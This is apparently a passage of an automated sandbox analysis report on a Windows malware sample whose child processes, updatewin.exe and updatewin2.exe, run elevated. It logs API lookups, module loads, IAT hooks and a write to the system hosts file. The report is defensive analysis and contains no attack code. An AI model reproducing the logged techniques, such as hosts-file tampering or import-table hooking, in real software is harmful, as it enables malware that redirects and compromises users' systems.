Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExW, address_out = 0x74d540fe True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = SetSecurityDescriptorDacl, address_out = 0x74d5415e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = InitializeSecurityDescriptor, address_out = 0x74d54620 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
System (256)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-30 00:49:42 (UTC) True 1
Fn
Get Time type = Ticks, time = 115799 True 1
Fn
Get Time type = Performance Ctr, time = 17392129621 True 1
Fn
Get Time type = Ticks, time = 115846 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = System Time, time = 2019-07-30 00:49:43 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17427277696 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #7: updatewin2.exe
654 0
»
Information Value
ID #7
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb20
Parent PID 0xad8 (c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B24
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
updatewin2.exe 0x00400000 0x0044CFFF Relevant Image - 32-bit - False False
...
buffer 0x00525000 0x00525FFF Marked Executable - 32-bit - False False
...
updatewin2.exe 0x00400000 0x0044CFFF Process Termination - 32-bit - False False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
C:\Windows\System32\drivers\etc\hosts 7.92 KB MD5: 360d265eddea8679c434a205f7ade7ad
SHA1: e17d843f610e0283904e201195360525ae449a68
SHA256: 5a1597c0d29dd475e33cd8889d7d848037a8c17bad0f3daa022fb889e0db7ead
SSDeep: 96:vDZEurK9q3WlSyU0FXmGZll0TOHyF9fAHLmttA/ZKTKdIlMHqzoCGbXx:RrK9FU0FXmGZll06m9fAH6AhKTK9Cax 		False
...
Host Behavior
File (9)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Windows\System32\drivers\etc\hosts desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\System32\drivers\etc\hosts type = size True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Write C:\Windows\System32\drivers\etc\hosts size = 7286 True 1
Fn
Data
Module (135)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Load api-ms-win-appmodel-runtime-l1-1-2 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe base_address = 0x400000 True 2
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin2.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 9
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSize, address_out = 0x76c3196e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x74fafd1e True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
System (256)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-30 00:49:43 (UTC) True 2
Fn
Get Time type = Ticks, time = 116173 True 1
Fn
Get Time type = Performance Ctr, time = 17429641693 True 1
Fn
Get Time type = Ticks, time = 116220 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = Performance Ctr, time = 17491541011 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #8: updatewin.exe
719 0
»
Information Value
ID #8
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:01:18, Reason: Self Terminated
Monitor Duration 00:00:24
OS Process Information
»
Information Value
PID 0xb30
Parent PID 0xad8 (c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B34
0x B58
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
updatewin.exe 0x00400000 0x0044DFFF Relevant Image - 32-bit - False False
...
buffer 0x002C5000 0x002C5FFF Marked Executable - 32-bit - False False
...
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x00000000002b0000:+0x16785 90. entry of updatewin.exe 4 bytes kernel32.dll:QueryPerformanceCounter+0x0 now points to pagefile_0x0000000000950000:+0x6b0000
...
IAT private_0x00000000002b0000:+0x16785 121. entry of updatewin.exe 4 bytes user32.dll:CallMsgFilterW+0x0 now points to pagefile_0x0000000000950000:+0x6b0000
...
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Module (169)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load GDI32.dll base_address = 0x75ad0000 True 1
Fn
Load COMCTL32.dll base_address = 0x74820000 True 1
Fn
Load WINMM.dll base_address = 0x74af0000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 8
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
